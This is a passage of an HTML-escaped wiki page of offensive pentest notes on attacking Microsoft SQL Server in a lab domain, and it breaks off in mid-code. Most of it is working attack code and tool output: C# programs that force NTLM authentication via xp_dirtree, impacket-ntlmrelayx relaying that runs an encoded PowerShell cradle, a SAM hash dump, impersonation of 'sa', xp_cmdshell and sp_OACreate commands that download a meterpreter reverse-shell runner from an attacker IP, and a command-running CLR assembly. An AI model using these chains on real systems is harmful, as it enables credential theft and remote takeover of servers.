            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
